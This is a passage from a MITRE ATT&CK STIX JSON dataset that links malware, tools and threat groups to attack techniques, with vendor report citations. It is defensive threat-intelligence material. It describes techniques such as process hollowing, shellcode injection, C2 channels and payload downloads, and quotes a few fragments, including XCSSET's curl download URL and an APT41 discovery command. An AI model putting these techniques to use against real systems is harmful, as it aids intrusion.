26, 2016.", "source_name": "Symantec Buckeye"}], "modified": "2020-03-18T20:19:35.732Z", "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30c69dcc-9cf7-4352-a30c-0e7bc86b38e7", "type": "relationship", "created": "2020-06-09T21:23:39.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Skidmap", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", "description": "Remillano, A., Urbanec, J. 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Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T21:16:25.386Z", "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)(Citation: Rapid7 HAFNIUM Mar 2021)(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30da2329-c7ee-4ac9-a38d-af79e6c1389c", "type": "relationship", "created": "2020-05-01T20:32:56.617Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}, {"source_name": "US-CERT HOTCROISSANT February 2020", "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.586Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has compressed network communications and encrypted them with a custom stream cipher.(Citation: Carbon Black HotCroissant April 2020)(Citation: US-CERT HOTCROISSANT February 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--30da3c92-05b8-40fd-b8b6-29cb20a597a1", "created": "2023-01-10T18:36:35.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "Microsoft Iranian Threat Actor Trends November 2021", "description": "MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-13T18:38:25.309Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used BitLocker and DiskCryptor to encrypt targeted workstations. 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Retrieved October 4, 2021."}], "modified": "2021-10-09T19:14:07.290Z", "description": "[Dok](https://attack.mitre.org/software/S0281) is packed with an UPX executable packer.(Citation: hexed osx.dok analysis 2019)", "relationship_type": "uses", "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30df477a-f775-4349-ba03-07a3f4293db4", "type": "relationship", "created": "2021-07-16T15:39:37.921Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Eli Salem GuLoader April 2021", "url": "https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4", "description": "Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}], "modified": "2021-10-15T19:14:33.505Z", "description": "[GuLoader](https://attack.mitre.org/software/S0561) has the ability to inject shellcode into a donor processes that is started in a suspended state. [GuLoader](https://attack.mitre.org/software/S0561) has previously used RegAsm as a donor process.(Citation: Medium Eli Salem GuLoader April 2021)", "relationship_type": "uses", "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30e18b95-a311-4ab5-aa59-a31a20f65f66", "type": "relationship", "created": "2021-09-30T13:20:52.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}], "modified": "2021-10-12T18:16:40.782Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can use process hollowing to execute its main payload.(Citation: ATT QakBot April 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30e190f8-2f7d-4795-9bed-90576fafdd0b", "type": "relationship", "created": "2021-10-14T22:58:54.481Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-14T22:58:54.481Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) downloads browser specific AppleScript modules using a constructed URL with the <code>curl</code> command, <code>https://\" & domain & \"/agent/scripts/\" & moduleName & \".applescript</code>.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--30e3ae03-ffd2-4ad0-822c-018b08079dd9", "created": "2022-09-23T15:00:18.942Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T12:35:59.325Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) can use com objects identified with `CLSID_ShellLink`(`IShellLink` and `IPersistFile`) and `WScript.Shell`(`RegWrite` method) to enable persistence mechanisms.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30e61544-d516-40ee-afac-8fd9deecd017", "type": "relationship", "created": "2021-03-24T20:25:01.285Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.285Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) has used HTTP for C2.(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30e68a86-bbfc-4677-9815-b256be560f09", "type": "relationship", "created": "2020-11-13T18:52:28.907Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T21:28:41.188Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can utilize web services including Google sites to send and receive C2 data.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30e6bb1e-7c6a-4fff-8163-f5a065d2d960", "type": "relationship", "created": "2020-09-23T15:18:36.544Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.384Z", "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can gather the hostname on a compromised machine.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--30ea6fe2-2947-4d12-b959-5a59c9e8d812", "created": "2023-01-03T19:20:47.958Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-03T19:20:47.958Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `cmd.exe /c ping %userdomain%` for discovery.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--30ee835f-64a1-4e14-8c9c-648e24fc9b0b", "created": "2022-09-27T18:04:44.230Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T18:04:44.230Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the `time` command to retrieve the current time of a compromised system.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30efb3df-f7b4-47f8-9c5a-53a94509c929", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT KEYMARBLE Aug 2018", "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}], "modified": "2020-03-20T02:14:26.642Z", "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can upload files to the victim\u2019s machine and can download additional payloads.(Citation: US-CERT KEYMARBLE Aug 2018)", "relationship_type": "uses", "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--30f0fc1f-d2fb-4bc8-98b1-431324127f07", "created": "2022-10-07T20:04:36.703Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-07T16:40:21.278Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors used uncommon high ports for its backdoor C2, including ports 25667 and 47000.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30f18b5b-a02e-4d15-bfd2-346145453a07", "type": "relationship", "created": "2019-02-18T20:33:58.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/", "source_name": "Palo Alto OilRig Sep 2018"}], "modified": "2020-03-17T19:06:57.970Z", "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can read batch commands in a file sent from its C2 server and execute them with cmd.exe.(Citation: Palo Alto OilRig Sep 2018)", "relationship_type": "uses", "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30f98441-b9cd-49ab-ba95-c7f19a82becd", "type": "relationship", "created": "2021-09-22T21:17:32.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-09-22T21:17:32.026Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) has encoded its C2 traffic with Base64.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--30ff291e-e546-4084-8b5b-22fd5a597449", "type": "relationship", "created": "2019-01-30T19:27:46.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Morphisec Cobalt Gang Oct 2018", "url": "https://blog.morphisec.com/cobalt-gang-2.0", "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}], "modified": "2019-07-26T23:38:34.038Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.(Citation: Morphisec Cobalt Gang Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3100a612-59cf-4fb0-b5f0-d0e09198a487", "created": "2023-09-08T20:26:43.965Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T20:58:53.173Z", "description": "Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers. Correlate these records with system events.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--31025044-b0de-4dcd-bd26-fe467b803000", "created": "2020-12-28T18:50:41.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary Hospital Thwarted Ryuk October 2020", "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"}, {"source_name": "FireEye Ryuk and Trickbot January 2019", "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"}, {"source_name": "Symantec Bumblebee June 2022", "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"}, {"source_name": "FireEye FIN6 Apr 2019", "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T18:26:15.570Z", "description": "[AdFind](https://attack.mitre.org/software/S0552) can gather information about organizational units (OUs) and domain trusts from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: Symantec Bumblebee June 2022)", "relationship_type": "uses", "source_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31028cf4-870e-490e-871e-ec55814dcef8", "type": "relationship", "created": "2019-02-12T18:20:09.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2019-04-24T20:56:04.846Z", "description": "[Denis](https://attack.mitre.org/software/S0354) queries the Registry for keys and values.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31029adf-2b28-4d7f-bdd3-b07f55374eae", "type": "relationship", "created": "2020-06-30T22:40:28.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2020-06-30T22:40:28.118Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) can check the victim's default browser to determine which process to inject its communications module into.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3109f288-8024-4ae4-a284-f4f87d94f33d", "created": "2024-01-19T20:41:00.162Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-19T20:41:00.162Z", "description": "[Ninja](https://attack.mitre.org/software/S1100) has used legitimate looking filenames for its loader including update.dll and x64.dll.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3114ebc8-7dc2-4ee7-8aad-5b764f27a6d8", "created": "2023-07-28T16:49:40.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}, {"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-05T13:42:38.427Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has collected local host information by utilizing Windows commands `systeminfo`, `fsutil`, and `fsinfo`. [FIN13](https://attack.mitre.org/groups/G1016) has also utilized a compromised Symantex Altiris console and LanDesk account to retrieve host information.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31221040-295a-437a-ac4a-d85e0b5d9122", "type": "relationship", "created": "2020-10-09T13:28:48.189Z", "created_by_ref": 